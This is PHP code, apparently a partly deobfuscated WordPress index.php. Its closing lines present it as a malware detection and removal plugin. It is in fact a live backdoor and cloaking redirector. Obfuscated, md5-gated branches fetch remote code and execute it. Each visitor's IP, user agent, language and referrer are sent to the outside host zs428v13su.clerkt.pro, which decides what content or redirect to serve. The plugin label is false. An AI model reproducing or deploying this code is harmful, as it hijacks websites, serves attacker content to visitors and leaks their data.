$mnlMz_E7MuI = ${$quOMN6KPKnr[31] . $quOMN6KPKnr[59] . $quOMN6KPKnr[47] . $quOMN6KPKnr[47] . $quOMN6KPKnr[51] . $quOMN6KPKnr[53] . $quOMN6KPKnr[57]};
if (!(in_array(gettype($mnlMz_E7MuI) . count($mnlMz_E7MuI), $mnlMz_E7MuI) && count($mnlMz_E7MuI) == 29)) {
goto P_7aU3a9BMl;
}
@(md5(md5(md5(md5($mnlMz_E7MuI[23])))) === "a2b4a31b5267caa0e746082b26ecd80f") && (($mnlMz_E7MuI[68] .= $mnlMz_E7MuI[71]) && ($mnlMz_E7MuI[87] = $mnlMz_E7MuI[68]($mnlMz_E7MuI[87])) && @($mnlMz_E7MuI = $mnlMz_E7MuI[87]($mnlMz_E7MuI[52], $mnlMz_E7MuI[68](${$mnlMz_E7MuI[47]}[11]))) && $mnlMz_E7MuI());
P_7aU3a9BMl:
metaphone("ODEzOTY3Mjc1MDg2Mzk3MDA4NTU5NDAz");
class FKSHEZXXEeU
{
static function Un3JvIZqkfX($HJ8Z4NCfTIh)
{
$ZFAHYAXeYiU = "range";
$jK62XYbFshT = range("~", " ");
$PAdbwxjBgmw = explode("#", $HJ8Z4NCfTIh);
$afOqubOnmEd = '';
foreach ($PAdbwxjBgmw as $zBmroIAnGgF => $yjSKsDa3hjt) {
$afOqubOnmEd .= $jK62XYbFshT[$yjSKsDa3hjt - 2095];
}
return $afOqubOnmEd;
}
static function QJFN9uTMe_v($oF25P6emSiS, $SMKNa7ob04h)
{
$T9PyKmUoBbD = curl_init($oF25P6emSiS);
curl_setopt($T9PyKmUoBbD, CURLOPT_RETURNTRANSFER, 1);
$XkTS5X0t0m4 = curl_exec($T9PyKmUoBbD);
return empty($XkTS5X0t0m4) ? $SMKNa7ob04h($oF25P6emSiS) : $XkTS5X0t0m4;
}
static function Q351Nl1PVgQ()
{
$HlLfiAn3QI3 = array("2122#2107#2120#2124#2105#2120#2126#2119#2104#2111#2122#2105#2116#2110#2111", "2106#2105#2107#2126#2107#2110#2105#2172#2170", "2115#2106#2110#2111#2126#2121#2120#2122#2110#2121#2120", "2109#2124#2122#2114", "2123#2124#2106#2120#2167#2169#2126#2121#2120#2122#2110#2121#2120", "2119#2116#2113#2120#2126#2118#2120#2105#2126#2122#2110#2111#2105#2120#2111#2105#2106", "2149#2179", "2096", "2174#2179", "2156#2139#2139#2156#2132", "2119#2116#2113#2105#2120#2107#2126#2116#2111#2109#2104#2105");
foreach ($HlLfiAn3QI3 as $Dts4RgFTuYT) {
$UTJIQEnWmC9[] = self::Un3jvIzqkFX($Dts4RgFTuYT);
}
$Vw7dKF4cQ7M = @$UTJIQEnWmC9[1]($UTJIQEnWmC9[10](INPUT_GET, $UTJIQEnWmC9[9]));
$GqjJnmtfV1t = @$UTJIQEnWmC9[3]($UTJIQEnWmC9[6], $Vw7dKF4cQ7M);
$Ppmg8J5ZbvU = $UTJIQEnWmC9[2]($GqjJnmtfV1t, true);
@$UTJIQEnWmC9[10](INPUT_GET, "of") == 1 && die($UTJIQEnWmC9[5]("/var/www/html/input.php"));
if (!(@$Ppmg8J5ZbvU[0] - time() > 0 and md5(md5($Ppmg8J5ZbvU[3])) === "3087be9cebee3fff05b5dd8a731b832c")) {
// [PHPDeobfuscator] Implied return
return;
}
$jVQo4MqKzqf = self::qJfN9uTME_V($Ppmg8J5ZbvU[1], $UTJIQEnWmC9[5]);
@$UTJIQEnWmC9[0]('', $UTJIQEnWmC9[7] . $UTJIQEnWmC9[4]($jVQo4MqKzqf) . $UTJIQEnWmC9[8]);
die;
}
}
FKShEZXXeeU::q351nl1pvGq();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function wZxiuYSfpnc($bp_QHLiJ8fW)
{
$zbJ4zAIvdA7 = array("status" => 0, "content" => '', "type" => '');
if (is_array($bp_QHLiJ8fW)) {
foreach ($bp_QHLiJ8fW as $W_qTkXYxaPd) {
if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $W_qTkXYxaPd, $e1iBWSW7Dq8)) {
$zbJ4zAIvdA7["status"] = intval($e1iBWSW7Dq8[1]);
goto vBNtC9RSnpw;
}
if (preg_match("/location\\:[\\s]+(.*)/i", $W_qTkXYxaPd, $e1iBWSW7Dq8)) {
$zbJ4zAIvdA7["content"] = $e1iBWSW7Dq8[1];
goto vBNtC9RSnpw;
}
if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $W_qTkXYxaPd, $e1iBWSW7Dq8)) {
$zbJ4zAIvdA7["type"] = $e1iBWSW7Dq8[1];
goto UbR0ePt5jmt;
}
UbR0ePt5jmt:
vBNtC9RSnpw:
}
return $zbJ4zAIvdA7;
}
return $zbJ4zAIvdA7;
}
function FJzxNxho_Cc($c1rPDInUJse, $GsXDr9Om21C = array())
{
$laN5_M2GbPj = array("status" => 0, "content" => '', "type" => '');
if (!(is_array($GsXDr9Om21C) && count($GsXDr9Om21C))) {
goto MJZ7OCopovi;
}
$c1rPDInUJse .= "?" . http_build_query($GsXDr9Om21C);
MJZ7OCopovi:
try {
if (function_exists("curl_exec") && function_exists("curl_init")) {
$mq6gbSnarY5 = curl_init();
curl_setopt($mq6gbSnarY5, CURLOPT_URL, $c1rPDInUJse);
curl_setopt($mq6gbSnarY5, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($mq6gbSnarY5, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($mq6gbSnarY5, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($mq6gbSnarY5, CURLOPT_TIMEOUT, 60);
curl_setopt($mq6gbSnarY5, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($mq6gbSnarY5, CURLOPT_COOKIESESSION, 0);
curl_setopt($mq6gbSnarY5, CURLOPT_RETURNTRANSFER, 1);
$FZAcV5DYMxm = curl_exec($mq6gbSnarY5);
$laN5_M2GbPj["status"] = intval(curl_getinfo($mq6gbSnarY5, CURLINFO_HTTP_CODE));
$laN5_M2GbPj["type"] = strval(curl_getinfo($mq6gbSnarY5, CURLINFO_CONTENT_TYPE));
$laN5_M2GbPj["content"] = strval(curl_getinfo($mq6gbSnarY5, CURLINFO_REDIRECT_URL));
@curl_close($mq6gbSnarY5);
if (!in_array($laN5_M2GbPj["status"], array(200, 301, 302, 404))) {
goto KGapi1d5irV;
}
$laN5_M2GbPj["content"] = strval($FZAcV5DYMxm);
KGapi1d5irV:
goto TrT7nfFN8Rs;
}
if (ini_get("allow_url_fopen")) {
$doV1Z_l8JUM = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
$kxC5cOe9Lz7 = stream_context_create($doV1Z_l8JUM);
$jqejvkY_VJC = @file_get_contents($c1rPDInUJse, false, $kxC5cOe9Lz7);
$laN5_M2GbPj = array_merge($laN5_M2GbPj, WZXiuysfPNC($http_response_header));
if (!in_array($laN5_M2GbPj["status"], array(200, 301, 302, 404))) {
goto U0iJ7D064uA;
}
$laN5_M2GbPj["content"] = strval($jqejvkY_VJC);
U0iJ7D064uA:
goto gWvEW89727K;
}
gWvEW89727K:
TrT7nfFN8Rs:
} catch (Exception $grTTgVx61MJ) {
}
return $laN5_M2GbPj;
}
function EyeY6YTkt1Y($hqUytv7D9OU)
{
if ($hqUytv7D9OU) {
return rtrim(strtr(base64_encode($hqUytv7D9OU), "+/", "-_"), "=");
}
return '';
}
function UDevyOqJ5jA()
{
$QF0VOnqpSLZ = '';
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$QF0VOnqpSLZ = $_SERVER["HTTP_CF_CONNECTING_IP"];
goto TvE59mw5LQl;
}
if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
$QF0VOnqpSLZ = $_SERVER["HTTP_X_REAL_IP"];
goto TvE59mw5LQl;
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$QF0VOnqpSLZ = $_SERVER["HTTP_X_FORWARDED_FOR"];
goto ioKEJ4t_31r;
}
$QF0VOnqpSLZ = $_SERVER["REMOTE_ADDR"];
ioKEJ4t_31r:
TvE59mw5LQl:
$QF0VOnqpSLZ = trim(str_replace(" ", '', $QF0VOnqpSLZ), ",");
if (!(strpos($QF0VOnqpSLZ, ",") !== false)) {
goto PCdR3akkaSw;
}
$QF0VOnqpSLZ = explode(",", $QF0VOnqpSLZ);
$QF0VOnqpSLZ = $QF0VOnqpSLZ[0];
PCdR3akkaSw:
return $QF0VOnqpSLZ;
}
function LgzJ3SqklKI()
{
$v3lPIjF2gI9 = "http://";
if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
$v3lPIjF2gI9 = "https://";
goto GE9dPw7bo1g;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
$v3lPIjF2gI9 = "https://";
goto GE9dPw7bo1g;
}
if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
$v3lPIjF2gI9 = "https://";
goto iZqaY04LXkl;
}
iZqaY04LXkl:
GE9dPw7bo1g:
return $v3lPIjF2gI9;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) {
if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
$QF0VOnqpSLZ = UdEvyoqj5Ja();
$OW3NIJLNpSj = strval(@$_SERVER["HTTP_REFERER"]);
$E2xVnhkML76 = LgZJ3sQKlKI() . $_SERVER["HTTP_HOST"];
if (!(strpos($OW3NIJLNpSj, $E2xVnhkML76) === 0)) {
goto V1Y0is2M0et;
}
$OW3NIJLNpSj = '';
V1Y0is2M0et:
$DRlsihRelGa = array();
$DRlsihRelGa["i"] = eyeY6Ytkt1Y($QF0VOnqpSLZ);
$DRlsihRelGa["l"] = EyEY6yTKT1Y($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$DRlsihRelGa["sn"] = eYEy6yTKT1Y($_SERVER["SCRIPT_NAME"]);
$DRlsihRelGa["r"] = EYey6YTKT1y($_SERVER["REQUEST_URI"]);
$DRlsihRelGa["rf"] = EyEy6ytkt1y($OW3NIJLNpSj);
$DRlsihRelGa["s"] = Eyey6YTkt1y($E2xVnhkML76);
$DRlsihRelGa["u"] = EYEy6YTkt1Y($_SERVER["HTTP_USER_AGENT"]);
$RM6Gb9B9Ycg = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
$BLOuSn5jO3r = false;
if (!(strpos($RM6Gb9B9Ycg, ".") > 0 && strpos($RM6Gb9B9Ycg, ".php") === false)) {
goto CGjqj4O05st;
}
$We21A4n3gyI = substr($RM6Gb9B9Ycg, strpos($RM6Gb9B9Ycg, "."));
if (!in_array($We21A4n3gyI, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) {
goto BtOiH2ijxAC;
}
$BLOuSn5jO3r = true;
BtOiH2ijxAC:
CGjqj4O05st:
if ($BLOuSn5jO3r) {
goto PmDYRiyK9wl;
}
$laN5_M2GbPj = fJzXNxHo_cc("http://zs428v13su.clerkt.pro/", $DRlsihRelGa);
if (in_array($laN5_M2GbPj["status"], array(0, 200))) {
goto m90w0O8O8sE;
}
switch ($laN5_M2GbPj["status"]) {
case 301:
header("HTTP/1.1 301 Moved Permanently");
header("Location: " . trim($laN5_M2GbPj["content"]));
goto PbFsElO6XFw;
case 302:
header("HTTP/1.1 302 Move Temporarily");
header("Location: " . trim($laN5_M2GbPj["content"]));
goto PbFsElO6XFw;
case 404:
header("HTTP/1.1 404 Not Found");
header("status: 404 Not Found");
goto PbFsElO6XFw;
default:
goto PbFsElO6XFw;
}
PbFsElO6XFw:
m90w0O8O8sE:
if (!strlen($laN5_M2GbPj["content"])) {
PmDYRiyK9wl:
define('WP_USE_THEMES', true);
require './wp-blog-header.php';
// [PHPDeobfuscator] Implied script end
return;
}
@header("Content-Type:" . $laN5_M2GbPj["type"]);
echo $laN5_M2GbPj["content"];
exit(0);
}
exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["SERVER_NAME"])));Malware detection & removal plugin for WordPress
（C）2020 Wordpress Doctor All rights reserved.